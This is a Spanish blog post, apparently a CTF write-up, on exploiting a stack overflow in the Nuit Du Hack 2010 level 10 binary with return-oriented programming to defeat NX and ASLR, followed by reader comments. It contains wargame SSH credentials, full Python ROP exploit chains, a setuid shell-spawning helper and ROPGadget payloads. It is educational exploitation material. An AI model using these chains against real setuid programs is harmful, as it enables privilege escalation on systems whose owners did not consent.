viernes, 18 de enero de 2013

Having fun with ROP - NX/ASLR Bypass (Linux)

Después de estar unos días buscando y leyendo información acerca de ROP (Return Oriented Programming), he decidido estrenar el blog plasmando un poco lo aprendido con un caso práctico, en el que se aprovecha ROP para explotar un stack overflow en un binario con pila no ejecutable (NX) y randomización de pila (ASLR) activada en el sistema.

ROP (Return Oriented Programming)

Se trata de una técnica de explotación que consiste básicamente en buscar en las secciones ejecutables del binario (que no son afectadas por el ASLR, por ejemplo: text) "gadgets", que en realidad son pequeños trozos de código seguidos inmediatamente de un RET. Después, estos gadgets serán utilizados para crear una cadena de instrucciones, de forma que cada gadget volverá al próximo gadget (a la dirección del siguiente gadget, que estará en la pila).

Programa vulnerable

Para hacer pruebas con esta técnica, he escogido el nivel 10 del CTF de la Nuit Du Hack 2010, que actualmente sigue online, y que para empezar con este tema me parece el ideal.

Para conectarnos por SSH usamos los siguientes credenciales:

* Host: wargame2k10.nuitduhack.com
* Username: level10
* Password: z8D4ds

level10@wargame2k10:~$ ls -l
total 580
-r-sr-x--- 1 l33t    level10 579315  1 janv.  2008 level10
-r--r----- 1 level10 level10      7  1 janv.  2008 passwd
-rwxr-x--- 1 root    root       685  1 janv.  2008 rop.c
level10@wargame2k10:~$ file level10
level10: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.15, not stripped
level10@wargame2k10:~$

Como podemos observar, se trata de un binario ELF de 32bits compilado de forma estática y con setuid activo. Para trabajar mejor, nos lo descargamos por scp.

$ scp level10@wargame2k10.nuitduhack.com:/home/level10/level10 .

También lo dejo subido aquí:
Descarga: level10
MD5: 2e7f6ca4b78518dfd82cd3d0b8432976

Una vez descargado, comprobamos las protecciones que tiene el binario con el script checksec.sh.

$ bash /tools/exploiting/checksec.sh --file level10 
RELRO           STACK CANARY      NX            PIE                     FILE
Partial RELRO   No canary found   NX enabled    No PIE                  level10

# ASLR
$ /sbin/sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2

Protecciones

  • RELRO: GOT no modificable.
  • NX: Stack no ejecutable.
  • ASLR: Activado.

Perfecto! Ahora toca explotar :-)

$ ./level10 HOLA
ROP me if you can :]
-> HOLA
$ ./level10 `perl -e 'print "A" x 20'`
ROP me if you can :]
-> AAAAAAAAAAAAAAAAAAAA
Violación de segmento

Si al ejecutarlo pasamos un argumento, nos lo imprime, pero si el tamaño del argumento es demasiado grande, nos devuelve una violación de segmento. Ahora solo tenemos que ver cuándo ocurre, así que a tirar de GDB!

Desensamblado de las funciones main() y vuln()

En el desensamblado de la función main() podemos ver como se realiza una llamada a la función vuln(), y en ésta, una llamada a strcpy(), donde es provocada la violación de segmento al copiar el valor de argv[1] en un buffer demasiado pequeño.

Ahora tendremos que comprobar a partir de qué byte se sobreescribe la dirección de retorno de la función vuln(). Para ello vamos a utilizar las herramientas pattern_create.rb y pattern_offset.rb que vienen incluidas en Metasploit Framework.

# Breakpoint en el RET de la función vuln()
(gdb) b *0x0804829f
Breakpoint 1 at 0x804829f

# Ejecutamos pasando 50 bytes generados por patter_create
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
Starting program: /home/dani/ndh-ropme/level10 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
ROP me if you can :]
-> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab

Breakpoint 1, 0x0804829f in vuln ()

# Instrucción actual
(gdb) x/i $eip
=> 0x804829f <vuln+59>: ret    

# Examinamos cual es la dirección de retorno antes de que se ejecute el RET
(gdb) x/a $esp
0xffbc939c: 0x41346141
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41346141 in ?? ()
(gdb) 

Como vemos, la dirección de retorno se ha sobreescrito con el valor "0x41346141" (ASCII: Aa4A), y GDB ha devuelto una violación de segmento al no poder acceder a dicha dirección.

$ ruby /pentest/exploits/msf4/tools/pattern_offset.rb 0x41346141
[*] Exact match at offset 12

Tras comprobar el valor con pattern_offset, nos indica que existen 12 bytes antes de empezar a sobreescribir la dirección de retorno, por lo que comienza a sobreescribirse en el byte 13. Ahora que tenemos el control sobre EIP, podemos dirigir el flujo a donde queramos y, como dice el programa (ROP me if you can), tenemos que usar ROP para explotarlo.

Si nos fijamos bien, nos han dejado una función llamada rop() con unas cuantas instrucciones (gadgets) para que aprovechemos, todas ellas con un RET al final.

(gdb) disas rop 
Dump of assembler code for function rop:
   0x08048250 <+0>: push   ebp
   0x08048251 <+1>: mov    ebp,esp
   0x08048253 <+3>: ret    
   0x08048254 <+4>: pop    ebx
   0x08048255 <+5>: ret    
   0x08048256 <+6>: nop
   0x08048257 <+7>: mov    edx,esi
   0x08048259 <+9>: pop    esi
   0x0804825a <+10>: inc    esi
   0x0804825b <+11>: ret    
   0x0804825c <+12>: xor    eax,eax
   0x0804825e <+14>: inc    eax
   0x0804825f <+15>: ret    
   0x08048260 <+16>: int    0x80
   0x08048262 <+18>: pop    ebp
   0x08048263 <+19>: ret    
End of assembler dump.

Posiblemente con esas pocas se podría realizar una llamada a execve(), pero vamos a buscar alguna más utilizando la herramienta ROPeMe de VNSecurity, que son varios scripts en Python que nos ayudan en la recolección de gadgets.

Para generar los gadgets del binario utilizamos el comando: generate <binario>
Para cargarlos: load <fichero ggt>

$ /tools/exploiting/ropeme/ropeme/ropshell.py 
Simple ROP interactive shell: [generate, load, search] gadgets

ROPeMe> generate level10
Generating gadgets for level10 with backward depth=3
It may take few minutes depends on the depth and file size...
Processing code block 1/1
Generated 2748 gadgets
Dumping asm gadgets to file: level10.ggt ...
OK

ROPeMe> load level10.ggt
Loading asm gadgets from file: level10.ggt ...
Loaded 2748 gadgets
ELF base address: 0x8048000
OK

Como vemos, se han encontrado bastantes gadgets (2748), y esto se debe en gran medida a que el binario está compilado de forma estática.

Una vez generados y cargados los gadgets, el siguiente paso consiste en buscar los necesarios para poder realizar una llamada a execve(). Para ello utilizamos el comando search.

ROPeMe> search pop edx %
Searching for ROP gadget:  pop edx % with constraints: []
...
0x8052341L: pop edx ; pop ecx ; pop ebx ;;
...

ROPeMe> search inc ecx %
Searching for ROP gadget:  inc ecx % with constraints: []
0x80853a6L: inc ecx ; adc al 0x39 ;;
...

ROPeMe> search inc edx %
Searching for ROP gadget:  inc edx % with constraints: []
...
0x804ece9L: inc edx ; add al 0x83 ;;
...

ROPeMe> search xor eax eax %
Searching for ROP gadget:  xor eax eax % with constraints: []
0x804825cL: xor eax eax ; inc eax ;;
...

ROPeMe> search inc eax
Searching for ROP gadget:  inc eax with constraints: []
0x804825eL: inc eax ;;
...

ROPeMe> search int 0x80 %
Searching for ROP gadget:  int 0x80 % with constraints: []
0x8048260L: int 0x80 ; pop ebp ;;
...

Gadgets a utilizar

  1. 0x8052341L: pop edx ; pop ecx ; pop ebx ;;
  2. 0x80853a6L: inc ecx ; adc al 0x39 ;;
  3. 0x804ece9L: inc edx ; add al 0x83 ;;
  4. 0x804825cL: xor eax eax ; inc eax ;;
  5. 0x804825eL: inc eax ;;
  6. 0x8048260L: int 0x80 ; pop ebp ;;

Con estos 6 gadgets tenemos suficiente para hacer una llamada a execve, ya que tenemos el control sobre eax (4, 5), ebx (1), ecx (1, 2) y edx (1, 3). Ahora tenemos que conseguir que dichos registros tengan los siguientes valores:

  • EAX = 0xb (syscall execve)
  • EBX = puntero a cadena
  • ECX = 0x0 (NULL)
  • EDX = 0x0 (NULL)

Para conseguirlo, nuestro paquete bomba tendrá la siguiente estructura:

0x08052341  # pop edx ; pop ecx ; pop ebx ;;
0xffffffff  # pop edx; (edx = 0xffffffff)
0xffffffff  # pop ecx; (ecx = 0xffffffff)
puntero_cadena # pop ebx; (ebx = Puntero cadena que utilizará execve)
0x080853a6  # inc ecx ; adc al 0x39 ;; (ecx = 0)
0x0804ece9  # inc edx ; add al 0x83 ;; (edx = 0)
0x0804825c  # xor eax eax ; inc eax ;; (eax = 0x1)
0x0804825e  # inc eax ;; (eax = 0x2)
0x0804825e  # inc eax ;; (eax = 0x3)
0x0804825e  # inc eax ;; (eax = 0x4)
0x0804825e  # inc eax ;; (eax = 0x5)
0x0804825e  # inc eax ;; (eax = 0x6)
0x0804825e  # inc eax ;; (eax = 0x7)
0x0804825e  # inc eax ;; (eax = 0x8)
0x0804825e  # inc eax ;; (eax = 0x9)
0x0804825e  # inc eax ;; (eax = 0xa)
0x0804825e  # inc eax ;; (eax = 0xb)
0x08048260  # int 0x80 ; pop ebp ;;  execve(CADENA,0,0)

Aunque no se aprecie en los gadgets que hemos buscado con la herramienta ROPeMe, éstos siempre acaban en una instrucción RET, de forma que cuando se ejecute el RET, la ejecución pasará directamente a la dirección del siguiente gadget, que se encontrará en la pila. Así estaremos haciendo una especie de shellcode, pero en vez de con opcodes, con las direcciones de los gadgets a ejecutar. Bastante chulo ;-D

Estado de la pila justo antes de ejecutarse el RET de vuln()

Para ponernos con la explotación nos queda un pequeño paso, y es que necesitamos la dirección de una cadena para el primer parámetro de execve (ebx).

NOTA: En la máquina del wargame el ASLR está desactivado, por lo que es más fácil de explotar, ya que podemos meter dicha cadena en una variable de entorno o en cualquier parte de la pila, obtener su dirección y explotarlo sin problemas. Pero en este caso, para complicarlo un poco más, vamos a tratar de buscar una cadena en una sección no randomizable para luego crearnos un pequeño binario que nos brinde un shell.

Búsqueda de cadenas

Para buscar cadenas vamos a usar la herramienta rabin2 que viene en el paquete de radare2, aunque también lo podemos hacer con gdb.

$ rabin2 -z level10
[strings]
addr=0x080a7348 off=0x0005f348 ordinal=000 sz=6 section=.rodata string=s
addr=0x080a734f off=0x0005f34f ordinal=001 sz=9 section=.rodata string=sarg
addr=0x080a7359 off=0x0005f359 ordinal=002 sz=21 section=.rodata string=ROPmeifyoucan
addr=0x080a736e off=0x0005f36e ordinal=003 sz=22 section=.rodata string=FATALkerneltooold
addr=0x080a7385 off=0x0005f385 ordinal=004 sz=13 section=.rodata string=devurandom
...
addr=0x080b1953 off=0x00069953 ordinal=734 sz=6 section=.rodata string=cntrl
addr=0x080b1959 off=0x00069959 ordinal=735 sz=6 section=.rodata string=punct
addr=0x080b195f off=0x0006995f ordinal=736 sz=6 section=.rodata string=alnum
addr=0x080b1966 off=0x00069966 ordinal=737 sz=8 section=.rodata string=toupper
addr=0x080b196e off=0x0006996e ordinal=738 sz=8 section=.rodata string=tolower
addr=0x080bbb40 off=0x00073b40 ordinal=739 sz=7 section=.rodata string=Sunday
....
989 strings

Elegimos por ejemplo "cntrl", que se encuentra en la dirección 0x080b1953, ya que las anteriores tienen mayor tamaño del que se muestra (se puede apreciar el size) y no nos interesa que tengan ningún carácter raro.
Una vez elegida la cadena, creamos un binario llamado cntrl para que restablezca el uid efectivo (euid) del usuario que lo ejecuta y nos abra un shell /bin/sh.

#include <stdio.h>
#include <unistd.h>

int main(void)
{
 int euid = geteuid();
 setreuid(euid, euid);
 execv("/bin/sh", NULL);
}

Hacemos un pequeño script en python que nos imprima la colección de direcciones que hemos encadenado.

#!/usr/bin/python
#
# Exploit ROP
#

from struct import pack

binary = "level10"
junk = "A" * 12

cntrl_string = pack('<I', 0x080b1953) # string: cntrl

rop = pack('<I', 0x08052341)    # pop edx ; pop ecx ; pop ebx ;;
rop += pack('<I', 0xffffffff)   # pop edx (ebx = 0xffffffff)
rop += pack('<I', 0xffffffff)   # pop ecx (ebc = 0xffffffff)
rop += cntrl_string             # pop ebx (ebx = 0x080b1953)
rop += pack('<I', 0x080853a6)   # inc ecx ; adc al 0x39 ;; (ecx = 0x0)
rop += pack('<I', 0x0804ece9)   # inc edx ; add al 0x83 ;; (edx = 0x0)
rop += pack('<I', 0x0804825c)   # xor eax eax ; inc eax ;; (eax = 0x1)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0x2)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0x3)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0x4)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0x5)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0x6)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0x7)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0x8)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0x9)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0xa)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0xb -> execve())
rop += pack('<I', 0x08048260)   # int 0x80 ; pop ebp ;;

payload = junk + rop

print payload

Enviamos al binario lo que lo que nos devuelve el python y...¡FUNCIONA!, tenemos un shell ;D

$ ./level10 "$(python exploit.py)" 
ROP me if you can :]
-> AAAAAAAAAAAAA��������S 
                         ��\�^�^�^�^�^�^�^�^�^�^�`�����
$ 

Lo lanzamos en la máquina del wargame y... !también funciona!

Ahora, como tenemos privilegios del usuario l33t, podemos acceder a su directorio personal y leer sus archivos, que entre ellos está su password y el código fuente del nivel (rop.c).

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level10 level10.c -static -fno-stack-protector -mpreferred-stack-boundary=2
// paxctl -c -Spermx level10

void rop()
{
 __asm("ret");

 __asm("pop %ebx");
 __asm("ret");

 __asm("nop");
 __asm("movl %esi, %edx");
 __asm("pop %esi");
 __asm("inc %esi");
 __asm("ret");

 __asm("xor %eax, %eax");
 __asm("inc %eax");
 __asm("ret");

 __asm("int $0x80");
}

void vuln(char *buff)
{
 char tmp[8] = {'\0'};

 strcpy(tmp, buff);
 printf("-> %sn", tmp);
}

int main(int argc, char *argv[])
{
 if(argc != 2) {
  printf("%s <arg>n", argv[0]);
  exit(0);
 }
 printf("ROP me if you can :]n");

 vuln(argv[1]);
 return 0;
}

ROPGadget

Todo perfecto, hemos conseguido explotarlo, pero ya que estamos, vamos a utilizar otra gran herramienta para la búsqueda de gadgets, que es ROPGadget, creada por Jonathan Salwan de Shell-Storm.

Como se puede apreciar tras compilar y ejecutar, la herramienta trae unas cuantas opciones interesantes para la explotación con ROP. Entre ellas, la más interesante es la de búsqueda de gadgets (-g), que además de buscar gadgets, utiliza un método auto-roper que intenta crear un payload automáticamente con los gadgets encontrados ;D

$ ROPgadget -g -file level10
Gadgets information
============================================================
0x0804814e: jmp dword ptr [ebx]
0x08048162: add eax, 0xc95b5800 ; ret
0x08048204: add esp, 0x14 ; pop ebx ; pop ebp ; ret
0x08048207: pop ebx ; pop ebp ; ret
0x08048208: pop ebp ; ret
0x0804824c: call eax
...
Unique gadgets found: 132

Possible combinations.
============================================================

[+] Combo 1 was found - Possible with the following gadgets. (execve)
 - 0x08048260 => int $0x80
 - 0x0804825e => inc %eax ; ret
 - 0x0809951f => xor %eax,%eax ; ret
 - 0x080788c1 => mov %eax,(%edx) ; ret
 - 0x080a1769 => pop %eax ; ret
 - 0x08048254 => pop %ebx ; ret
 - 0x08052341 => pop %edx ; pop %ecx ; pop %ebx ; ret
 - 0x08052318 => pop %edx ; ret
 - 0x080c6001 => .data Addr
 Payload
  # execve /bin/sh generated by RopGadget v3.4.2
  p += pack("<I", 0x08052318) # pop %edx ; ret
  p += pack("<I", 0x080c6001) # @ .data
  p += pack("<I", 0x080a1769) # pop %eax ; ret
  p += "/bin"
  p += pack("<I", 0x080788c1) # mov %eax,(%edx) ; ret
  p += pack("<I", 0x08052318) # pop %edx ; ret
  p += pack("<I", 0x080c6005) # @ .data + 4
  p += pack("<I", 0x080a1769) # pop %eax ; ret
  p += "//sh"
  p += pack("<I", 0x080788c1) # mov %eax,(%edx) ; ret
  p += pack("<I", 0x08052318) # pop %edx ; ret
  p += pack("<I", 0x080c6009) # @ .data + 8
  p += pack("<I", 0x0809951f) # xor %eax,%eax ; ret
  p += pack("<I", 0x080788c1) # mov %eax,(%edx) ; ret
  p += pack("<I", 0x08052341) # pop %edx ; pop %ecx ; pop %ebx ; ret
  p += pack("<I", 0x42424242) # padding
  p += pack("<I", 0x42424242) # padding
  p += pack("<I", 0x080c6001) # @ .data
  p += pack("<I", 0x08052341) # pop %edx ; pop %ecx ; pop %ebx ; ret
  p += pack("<I", 0x42424242) # padding
  p += pack("<I", 0x080c6009) # @ .data + 8
  p += pack("<I", 0x42424242) # padding
  p += pack("<I", 0x08052318) # pop %edx ; ret
  p += pack("<I", 0x080c6009) # @ .data + 8
  p += pack("<I", 0x0809951f) # xor %eax,%eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x08048260) # int $0x80
 EOF Payload

Como vemos, a partir de los gadgets obtenidos, ha sido capaz de encadenarlos de forma automática para construir un payload que realiza una llamada execve("/bin/sh"). Ahora toca probarlo...

$ ./level10 "$(python exploit_ropgadget.py)"
ROP me if you can :]
-> AAAAAAAAAAAA  `
                 i 
/bin� `
      i 
//sh� # `
         �     �ABBBBBBBB `
                          ABBBB `
                                BBBB #  `
                                         �     ^�^�^�^�^�^�^�^�^�^�^�`� 
Violación de segmento

Vaya, violación de segmento, ¡algo falla!

# Breakpoint en el int 0x80
(gdb) b *0x08048260
Breakpoint 1 at 0x8048260

# Ejecutamos
(gdb) r "$(python exploit_ropgadget.py)"
Starting program: /home/dani/ndh-ropme/level10 "$(python exploit_ropgadget.py)"
ROP me if you can :]
-> AAAAAAAAAAAA  `
                 i 
/bin� `
      i 
//sh� # `
         �     �ABBBBBBBB `
                          ABBBB `
                                BBBB #  `
                                         �     ^�^�^�^�^�^�^�^�^�^�^�`� 

Breakpoint 1, 0x08048260 in rop ()

# Instrucción actual
(gdb) x/i $eip
=> 0x8048260 <rop+16>: int    $0x80

# Registros que va a usar execve()
(gdb) i r eax ebx ecx edx
eax            0xb 11
ebx            0x42424242 1111638594
ecx            0x80c6009 135028745
edx            0x80c6009 135028745

# ECX y EDX apuntan al null byte de .data
(gdb) x/x 0x80c6009
0x80c6009 <_dl_tls_static_size+1>: 0x00000000

(gdb) x/s 0x80c6009-8
0x80c6001 <data_start+1>:  "/bin//sh"
(gdb) 

Tras depurar un poco, vemos que falla porque registro EBX tiene de valor 0x42424242, que es un padding mal añadido por ROPgadget, y en vez de eso debería tener la dirección de la sección .data (0x080c6001), que es donde se encuentra la cadena /bin/sh. Así que buscamos el último gadget que da valor a EBX.

p += pack("<I", 0x08052341) # pop %edx ; pop %ecx ; pop %ebx ; ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x42424242) # padding

Y tal cual, el último padding (0x42424242) el es valor que popea EBX. Lo cambiamos por 0x080c6001 y probamos.

$ ./level10 "$(python exploit_ropgadget.py)"
ROP me if you can :]
-> AAAAAAAAAAAA  `
                 i 
/bin� `
      i 
//sh� # `
         �     �ABBBBBBBB `
                          ABBBB `
                                 `
                                  #     `
                                         �     ^�^�^�^�^�^�^�^�^�^�^�`� 
$ id
uid=1000(dani) gid=1000(dani) groups=1000(dani),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)

¡Solucionado! Tenemos un shell, así de fácil :-)

Es interesante ver cómo el payload ROP que nos ha creado ROPGadget utiliza la sección no randomizable .data para almacenar la cadena "/bin/sh", pero bueno, eso ya os lo dejo para vosotros :-)

Para la siguiente entrada intentaré explicar cómo explotar con ROP otro binario, pero compilado de forma dinámica y sin instrucciones de ayuda como teníamos en éste, empleando para ello la técnica GOT dereferencing.

Y esto ha sido todo. Un saludo!

19 comentarios:

  1. Me lo acabo de leer muy en diagonal, pero si todas las entradas van a seguir este patrón en cuanto a calidad y nivel de detalle, te has ganado un lector fiel :D

    ResponderEliminar
  2. Si cuando yo te digo que eres un puto crack en reversing es por algo,no te imaginas todo lo que acabo de aprender leyendote.

    ResponderEliminar
  3. Muchísimas gracias!! Me alegra mucho que os guste y se entienda :-)

    Un saludo!

    ResponderEliminar
  4. Nice article, I will tried to craft my ROP exploit ;)


    Ps. ROP is fun

    ResponderEliminar
    Respuestas
    1. Thanks! I like your blog!! good content :)

      ROP is very fun

      Eliminar
  5. Me recomendaron la lectura de tu artículo y estoy encantado con ello. Tienes un nivel altísimo y estoy seguro que voy a aprender mucho de ti.

    Desde ya te agrego a mi lista de lecturas diarias.

    Enhorabuena por el post.

    P.D.: ¿Vas a la rooted? Estaría bien poder darte las gracias personalmente ;)

    ResponderEliminar
    Respuestas
    1. Gracias! Me alegra mucho que te guste y a la vez aprendas con ello.
      También te agrego a mis feeds, me gusta tu blog ;-)

      Sí, iré a la rooted si no me pasa nada, por allí nos vemos!

      Eliminar
  6. Increíble lo bien explicado que está, se echaban en falta buenos textos sobre exploiting actual en castellano. Espero que éste sea el primero de muchos... :P . Gracias maestro ;)

    ResponderEliminar
  7. Buen articulo Dani, no espera menos ;) sobre todo y muy importante que dispongas del tiempo suficiente para continuar deleitandonos con este tipo de entradas, porque conocimiento para escribirlas no te faltan, y si tiras por esta rama a mi personalmente me vendrá genial.

    Muchas felicidades por el blog y un nuevo rss para mi lista! :)

    ResponderEliminar
  8. Gracias a vosotros por leerlo!

    Espero disponer de tiempo para investigar y seguir escribiendo entradas de este tipo, que veo que os gusta ;-)

    Un saludo!

    ResponderEliminar
  9. Juas Daniel, pensaba que estabas perdido jajaja

    Muy buen artículo ;-)

    Un saludo!!

    ResponderEliminar
  10. Muy buen artículo Daniel.

    En temas relacionados con ASLR, me surge alguna duda. La cadena ROP generada mediante las herramientas que has nombrado son en secciones que no disponen de ASLR no? Las herramientas ya lo buscan así directamente o es necesario buscarlos por tu cuenta? Y por último, cómo puedes saber las partes que están randomizadas de tu binario? para posteriormente generarte tu cadena ROP.

    Gracias.

    ResponderEliminar
    Respuestas
    1. Gracias Anónimo!

      Las herramientas lo único que hacen es buscar instrucciones en las secciones ejecutables (flag X) del binario, que son estáticas y, por lo tanto, no afectadas por ASLR, siempre y cuando el binario no esté compilando con PIE (Position Independent Executable).

      ASLR sólo randomiza el stack, el heap, las bibliotecas compartidas, VDSO, mmap() y la memoria administrada por brk().

      Un saludo!

      Eliminar
  11. Gracias por tu respuesta.

    Sigue así!

    Un saludo!

    ResponderEliminar
  12. It's very great article.
    I got a understanding of rop, thank to you.^^
    Thanks~~~

    ResponderEliminar
  13. Muy buenas y muy buen material. A pesar de que esté desactualizado, porque quién usa x86 hoy en día? Lástima que ROPeMe no esté disponible para x64... :( porque no lo está, no?

    ResponderEliminar
  14. Hola! Excelentisimo tutorial! Hay una duda que me quedó, y es que no entiendo la relación entra la cadena "cntrl" y el ejecutable cntrl, o sea lo probé y funciona es mágico, si el binario se llamara cntrl1 no funciona el exploit... Pero, como es que se logra ubicar a éste ejecutable? Como es que se deduce el path del ejecutable? Ya que aunque el ejecutable se encuentre en distintos lugares, sigue funcionando!

    ResponderEliminar